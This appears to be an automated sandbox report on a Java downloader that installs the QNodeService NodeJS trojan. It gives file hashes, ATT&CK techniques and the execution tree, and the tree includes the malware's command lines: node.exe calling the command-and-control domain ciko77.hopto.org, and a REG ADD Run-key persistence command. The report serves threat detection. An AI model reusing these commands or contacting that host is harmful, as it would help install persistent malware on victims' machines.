qnodeservice | 726902ed1aab6fe2e7632d70bfba8fe89efc025bc76c7f63c8cbc2f73dea193e

General

Target

Shipping documents.jar
Size

74KB
MD5

aca734eeac3a00205e7a64800b05cb95
SHA1

e09deace896a082517204f46ae3bddfc2f3f46c1
SHA256

726902ed1aab6fe2e7632d70bfba8fe89efc025bc76c7f63c8cbc2f73dea193e
SHA512

2966c44e70c9e0b2864112db107dd7194537ec71b654f173eff559a3ee4e03ecfd6ca5207a95a4cb3e8606197ab84fe12835d60c1e536a69370a103072f6f4c1

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
648	node.exe
1492	node.exe
3144	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\01a5d575-b9d7-42ef-b3ec-78b85d3d11c8 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adaf-173.dat	js
behavioral2/files/0x000100000001adaf-176.dat	js
behavioral2/files/0x000100000001adaf-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	wtfismyip.com
18	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
648	node.exe
648	node.exe
648	node.exe
648	node.exe
1492	node.exe
1492	node.exe
1492	node.exe
1492	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe
3144	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 1772	748	java.exe	73
PID 748 wrote to memory of 1772	748	java.exe	73
PID 1772 wrote to memory of 648	1772	javaw.exe	77
PID 1772 wrote to memory of 648	1772	javaw.exe	77
PID 648 wrote to memory of 1492	648	node.exe	79
PID 648 wrote to memory of 1492	648	node.exe	79
PID 1492 wrote to memory of 3144	1492	node.exe	80
PID 1492 wrote to memory of 3144	1492	node.exe	80
PID 3144 wrote to memory of 2488	3144	node.exe	82
PID 3144 wrote to memory of 2488	3144	node.exe	82
PID 2488 wrote to memory of 2428	2488	cmd.exe	83
PID 2488 wrote to memory of 2428	2488	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Shipping documents.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:748
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\55636383.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ciko77.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uarFpu\boot.js --hub-domain ciko77.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1492
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uarFpu\boot.js --hub-domain ciko77.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "01a5d575-b9d7-42ef-b3ec-78b85d3d11c8" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2488
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "01a5d575-b9d7-42ef-b3ec-78b85d3d11c8" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/648-174-0x0000038A94200000-0x0000038A94201000-memory.dmp

Filesize
4KB

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memory/1492-177-0x000003D624600000-0x000003D624601000-memory.dmp

Filesize
4KB

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memory/3144-181-0x000003066DCC0000-0x000003066DCC1000-memory.dmp

Filesize
4KB

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